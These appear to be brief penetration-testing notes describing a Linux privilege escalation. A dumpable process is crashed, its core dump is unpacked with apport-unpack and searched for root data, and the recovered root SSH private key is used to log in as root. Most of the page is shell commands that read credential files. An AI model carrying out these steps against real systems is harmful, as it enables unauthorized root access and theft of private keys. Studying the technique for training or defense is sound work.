case study 1
prctl(PR_SET_DUMPABLE. 1);
#coredump
if we kill the program in the middle, we could get the data that it was running by causing a segmentation fault.
i.e) if the program was getting data from root, then we can analyze what the data is even if you are not root.
ps -ef | grep count #to see what pid the program "count" is running
kill -11 PID #causes seg fault
ls -la /var/crash #crash logs are usually stored here
apport-unpack crash_file.crash /tmp/log (directory to save the file) # this will unpack e file
Now go into the you should be able to see the logs inside the CoreDump
grep root CoreDump -a
if this succeeds we could see if there's an ssh key file for root.
/root/.ssh/id_rsa
do the same process from the above to copy the id_rsa key file locally
chmod 600 root.key
ssh -i root.key [email protected]
Last modified 1yr ago